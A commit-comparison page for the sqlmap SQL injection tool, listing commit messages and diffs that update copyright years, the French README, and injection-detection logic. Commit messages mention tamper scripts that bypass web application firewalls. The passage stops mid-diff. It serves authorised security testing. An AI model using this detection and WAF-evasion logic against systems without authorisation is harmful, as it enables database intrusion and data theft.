Compare commits

...
131 Commits
Author SHA1 Message Date
Miroslav Stampar ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar 6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar 9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar 93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar 67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar 24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar 5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar 8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar 365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar 56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar 5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar 061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar 62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar 9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar 10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar 0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar 31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar 30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar 02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar 4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar 4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar 94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar 18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar 439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
Miroslav Stampar 165b275fd7 Update of version 2018-01-02 01:05:01 +01:00
Miroslav Stampar 811bd0e89f Updating version string for fresh tag 2018-01-02 00:55:08 +01:00
Miroslav Stampar 47bbcf90ea More updates of copyright years 2018-01-02 00:50:07 +01:00
Miroslav Stampar 8a122401aa Update of copyright years 2018-01-02 00:48:10 +01:00
Miroslav Stampar ddc453e3da Update of minor revision 2018-01-02 00:44:40 +01:00
Miroslav Stampar 764d114b3c Fixes #2858 2018-01-02 00:42:20 +01:00
Miroslav Stampar 6e9fe27fa0 Minor patch related to the #2856 2017-12-30 16:35:45 +01:00
Miroslav Stampar 132fb0d18d Another just in case patch for #2852 2017-12-30 16:25:19 +01:00
Miroslav Stampar 84b7a26bfd Minor patch for #2852 2017-12-29 13:52:15 +01:00
Miroslav Stampar 66c1f72a16 Minor optimization 2017-12-29 13:04:52 +01:00
Miroslav Stampar b6584c8043 Fixes #2853 2017-12-28 13:25:26 +01:00
Miroslav Stampar 78ac42c168 Minor refactoring 2017-12-28 12:56:30 +01:00
Miroslav Stampar 009f13742e Dirty patch for safe-encoded unicode characters 2017-12-27 12:23:35 +01:00
Miroslav Stampar 1df0461893 Guessing patch for #2837 (as of lack of user data) 2017-12-25 00:18:06 +01:00
Miroslav Stampar bc1fbc5a58 Potential patch for #2847 2017-12-24 23:54:43 +01:00
Miroslav Stampar cad6cfe6a6 Fixes #2843 2017-12-24 04:03:32 +01:00
Miroslav Stampar 7ade3aa1ad Fixes #2841 2017-12-22 01:25:03 +01:00
Miroslav Stampar 0b24a80387 Patch related to the --hex and --technique=E (potential patch for #2837) 2017-12-20 14:51:15 +01:00
Miroslav Stampar 574074e171 Another patch for #2827 2017-12-14 15:45:14 +01:00
Miroslav Stampar f2f7994ac6 Minor improvement of generic WAF script 2017-12-13 15:31:35 +01:00
Miroslav Stampar 42ddfd8f50 Minor bug fix 2017-12-13 15:12:03 +01:00
Miroslav Stampar 2d4391dc36 Adding new WAF script (F5 ASM) 2017-12-13 15:10:15 +01:00
Miroslav Stampar 5326df1071 Minor grammar fix 2017-12-13 13:49:55 +01:00
Miroslav Stampar 9a2cdd4b59 Potential patch for #2826 2017-12-13 13:22:42 +01:00
Miroslav Stampar acd764fee8 Fixes #2828 2017-12-13 10:46:46 +01:00
Miroslav Stampar 310a82933c Patch for #2827 2017-12-13 10:22:25 +01:00
Miroslav Stampar b1662f54c8 Revisiting some of links 2017-12-12 13:39:58 +01:00
Miroslav Stampar 8cef17b583 Minor just in case patch (error set in case of --string) 2017-12-12 11:18:17 +01:00
Miroslav Stampar cb1b5d30fd Minor refactoring 2017-12-12 10:48:19 +01:00
Miroslav Stampar 5d6b972002 Switching Informix dump from regular to pivotdumptable 2017-12-11 14:49:30 +01:00
Miroslav Stampar 57044262d9 Minor patch for pivotdump 2017-12-11 14:15:11 +01:00
Miroslav Stampar 8d19c3bd46 Proper patch related to the dde1178100 2017-12-11 13:01:37 +01:00
Miroslav Stampar b9efdb2999 Fixes #2824 2017-12-11 11:26:09 +01:00
Miroslav Stampar dde1178100 Fixes (old) Informix escaping 2017-12-11 10:44:47 +01:00
Miroslav Stampar 638dbf255a Fixes #2818 2017-12-06 13:42:15 +01:00
Miroslav Stampar a90b5f7fb3 Fixes #2766 2017-12-05 11:33:30 +01:00
Miroslav Stampar 06ca058300 Fixes #2812 2017-12-04 15:40:59 +01:00
Miroslav Stampar 370884d07a Fixes #2811 2017-12-04 14:59:05 +01:00
Miroslav Stampar 91bffe988b Minor patch 2017-12-04 14:22:51 +01:00
Miroslav Stampar 220dffbcfa Couple of wording updates 2017-12-04 13:59:35 +01:00
Miroslav Stampar 9fab2c9764 Minor refactoring 2017-12-04 13:41:02 +01:00
Miroslav Stampar 7244e8e4e2 Minor patches 2017-12-04 13:24:51 +01:00
Miroslav Stampar e7268ffb4d Fixes #2809 2017-12-01 10:32:44 +01:00
Miroslav Stampar 7c5b051d60 Fixes #2808 2017-11-29 15:59:00 +01:00
Miroslav Stampar 5899fd5ef2 Update related to the #2806 2017-11-27 22:24:44 +01:00
Miroslav Stampar f60727a891 Minor update of sitelock.py 2017-11-26 12:11:09 +01:00
Miroslav Stampar 792ed52ab5 New WAF scripts 2017-11-26 12:06:23 +01:00
Miroslav Stampar 132a72c9bd Minor update of logging messages 2017-11-24 12:20:57 +01:00
Miroslav Stampar 8735a49f63 Some more refactoring 2017-11-24 11:49:31 +01:00
Miroslav Stampar b9e2e8b74d Minor refactoring 2017-11-24 11:44:14 +01:00
Miroslav Stampar b23626db70 Minor update 2017-11-24 11:36:27 +01:00
Miroslav Stampar 33d8ce8923 Minor patches 2017-11-24 10:54:03 +01:00
Miroslav Stampar 72f7caa23b Minor refactoring 2017-11-24 10:38:29 +01:00
Miroslav Stampar 284bdac72c Minor patch 2017-11-22 16:17:14 +01:00
Miroslav Stampar 7d6a3c4034 Refactoring shell files 2017-11-22 15:59:29 +01:00
Miroslav Stampar 02274f6db1 Minor patch (smoke test failed) 2017-11-22 13:31:44 +01:00
Miroslav Stampar bf8b2eb21e Minor update regarding #2791 2017-11-22 13:29:39 +01:00
Vitaly Salnikov 1436333960 Add new tamper script witch can Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END', it could be usefull for bypass some weak WAFs that filter the 'IFNULL' and 'IF' functions (#2791) 2017-11-22 13:27:49 +01:00
Miroslav Stampar d7677f322d Fixes #2793 2017-11-22 13:07:04 +01:00
Miroslav Stampar ab641e9242 Minor improvement for sonicwall WAF script 2017-11-21 09:23:16 +01:00
Miroslav Stampar ec83837342 Fixes #2786 2017-11-19 02:51:29 +01:00
Miroslav Stampar 2333903b68 Fixes #2785 2017-11-19 02:16:52 +01:00
Miroslav Stampar d54ec88648 Adding compression to BigArray mechanism (to save disk space on big dumps) 2017-11-17 11:45:02 +01:00
Houziaux Mike f210d66dff fix wording to french documentation (#2782) 2017-11-17 09:39:48 +01:00
Miroslav Stampar a651c8a637 Fixes #2779 2017-11-15 10:36:32 +01:00
Miroslav Stampar b608c21dff Fixes #2778 2017-11-15 09:51:20 +01:00
Miroslav Stampar 88df293a1a Better approach as @cachedmethod got improved 2017-11-13 22:53:22 +01:00
Miroslav Stampar 323f1285b6 Fixes #2774 2017-11-13 14:07:12 +01:00
Miroslav Stampar 26b81f58bb Fixes #2772 2017-11-13 11:19:25 +01:00
Miroslav Stampar 839070d6ee Minor refactoring 2017-11-10 13:03:24 +01:00
Miroslav Stampar 28ee12c4d2 Adding delayed imports 2017-11-10 12:34:54 +01:00
Miroslav Stampar bc61a6828c Quick patch for #2770 2017-11-10 10:45:20 +01:00
Miroslav Stampar e9380627e1 Better one for Issue #2769 2017-11-10 00:44:33 +01:00
Miroslav Stampar e80e841b25 Update related to the Issue #2769 2017-11-10 00:41:03 +01:00
Miroslav Stampar 4102d87521 Better SELECT_FROM_TABLE_REGEX regex 2017-11-09 13:56:01 +01:00
Miroslav Stampar 67b470245e Minor cleanup of NULL connection 2017-11-09 13:45:52 +01:00
Miroslav Stampar d148694a4b Minor refactoring 2017-11-09 12:24:58 +01:00
Miroslav Stampar 9404b63a42 Some memory improvements of @cachedmethod 2017-11-09 12:24:11 +01:00
Miroslav Stampar 58b87e4b6b Some more refactoring 2017-11-08 15:58:23 +01:00
Miroslav Stampar 5c35aff22a Minor refactoring 2017-11-08 15:47:12 +01:00
Miroslav Stampar 18d78a34cc Removing unused methods 2017-11-06 13:53:35 +01:00
Thomas f9e80adcef Minor update to Sucuri WAF script (#2761) 2017-11-06 13:09:24 +01:00
Miroslav Stampar e5f96102af Fixes #2763 2017-11-06 10:53:50 +01:00
Miroslav Stampar d9bf33ea1d Minor beauty patch 2017-11-06 10:36:17 +01:00
Miroslav Stampar 0d1ea50785 Fixes #2762 2017-11-06 10:00:29 +01:00
Miroslav Stampar cc37b12d37 Minor update 2017-11-02 14:31:16 +01:00
362 changed files with 1556 additions and 1141 deletions
-1
View File
@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Wrap code to 76 columns when possible.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
+1 -1
View File
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
+4 -4
View File
@@ -13,7 +13,7 @@ Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/w
Installation
----
Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
@@ -21,7 +21,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
Usage
Utilisation
----
Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
@@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
----
@@ -41,7 +41,7 @@ Liens
* Page d'acceuil: http://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -3,7 +3,7 @@
"""
safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
+2 -2
View File
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -60,7 +60,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
import codecs
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+50 -36
View File
@@ -1,12 +1,13 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import copy
import httplib
import logging
import os
import random
import re
@@ -42,6 +43,7 @@ from lib.core.common import readInput
from lib.core.common import showStaticWords
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
@@ -108,6 +110,9 @@ def checkSqlInjection(place, parameter, value):
if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.alphaBoundaries
else:
boundaries = conf.boundaries
@@ -281,9 +286,9 @@ def checkSqlInjection(place, parameter, value):
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific error message)
if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
debugMsg = "skipping test '%s' because the parsed " % title
debugMsg += "error message(s) showed that the back-end DBMS "
debugMsg += "could be %s" % Format.getErrorParsedDBMSes()
debugMsg = "skipping test '%s' because the heuristic " % title
debugMsg += "tests showed that the back-end DBMS "
debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests)
logger.debug(debugMsg)
continue
@@ -506,8 +511,13 @@ def checkSqlInjection(place, parameter, value):
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
else:
errorSet = set()
if originalSet == trueSet != falseSet:
candidates = trueSet - falseSet
candidates = trueSet - falseSet - errorSet
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
@@ -535,7 +545,13 @@ def checkSqlInjection(place, parameter, value):
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
@@ -574,7 +590,7 @@ def checkSqlInjection(place, parameter, value):
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue([headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
@@ -629,11 +645,12 @@ def checkSqlInjection(place, parameter, value):
Backend.forceDbms(kb.dbmsFilter[0])
elif not Backend.getIdentifiedDbms():
if kb.heuristicDbms is None:
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it with option '--dbms'"
singleTimeWarnMessage(warnMsg)
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it with option '--dbms'"
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
@@ -918,7 +935,7 @@ def checkSuhosinPatch(injection):
if injection.place == PLACE.GET:
debugMsg = "checking for parameter length "
debugMsg += "constrainting mechanisms"
debugMsg += "constraining mechanisms"
logger.debug(debugMsg)
pushValue(kb.injection)
@@ -927,7 +944,7 @@ def checkSuhosinPatch(injection):
randInt = randomInt()
if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
warnMsg = "parameter length constrainting "
warnMsg = "parameter length constraining "
warnMsg += "mechanism detected (e.g. Suhosin patch). "
warnMsg += "Potential problems in enumeration phase can be expected"
logger.warn(warnMsg)
@@ -1051,13 +1068,13 @@ def heuristicCheckSqlInjection(place, parameter):
if value.lower() in (page or "").lower():
infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
logger.info(infoMsg)
for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
logger.info(infoMsg)
break
@@ -1143,16 +1160,16 @@ def checkDynamicContent(firstPage, secondPage):
count += 1
if count > conf.retries:
warnMsg = "target URL is too dynamic. "
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
logger.warn(warnMsg)
conf.textOnly = True
return
warnMsg = "target URL is heavily dynamic"
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
warnMsg = "target URL content appears to be heavily dynamic. "
warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL)
secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage)
@@ -1168,7 +1185,7 @@ def checkStability():
like for instance string matching (--string).
"""
infoMsg = "testing if the target URL is stable"
infoMsg = "testing if the target URL content is stable"
logger.info(infoMsg)
firstPage = kb.originalPage # set inside checkConnection()
@@ -1186,7 +1203,7 @@ def checkStability():
if kb.pageStable:
if firstPage:
infoMsg = "target URL is stable"
infoMsg = "target URL content is stable"
logger.info(infoMsg)
else:
errMsg = "there was an error checking the stability of page "
@@ -1196,12 +1213,11 @@ def checkStability():
logger.error(errMsg)
else:
warnMsg = "target URL is not stable. sqlmap will base the page "
warnMsg = "target URL content is not stable. sqlmap will base the page "
warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph "
warnMsg += "'Page comparison' and provide a string or regular "
warnMsg += "expression to match on"
warnMsg += "'Page comparison'"
logger.warn(warnMsg)
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
@@ -1445,16 +1461,16 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg)
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
pushValue(kb.pageCompress)
kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD
infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
logger.info(infoMsg)
else:
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1462,11 +1478,10 @@ def checkNullConnection():
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
kb.nullConnection = NULLCONNECTION.RANGE
infoMsg = "NULL connection is supported with GET method (Range)"
infoMsg += "'%s'" % kb.nullConnection
infoMsg = "NULL connection is supported with GET method ('Range')"
logger.info(infoMsg)
else:
_, headers, _ = Request.getPage(skipRead = True)
_, headers, _ = Request.getPage(skipRead=True)
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.SKIP_READ
@@ -1474,9 +1489,8 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with 'skip-read' method"
logger.info(infoMsg)
except SqlmapConnectionException, ex:
errMsg = getSafeExString(ex)
raise SqlmapConnectionException(errMsg)
except SqlmapConnectionException:
pass
finally:
kb.pageCompress = popValue()
+17 -19
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -158,6 +158,9 @@ def _formatInjection(inj):
return data
def _showInjections():
if conf.wizard and kb.wizardMode:
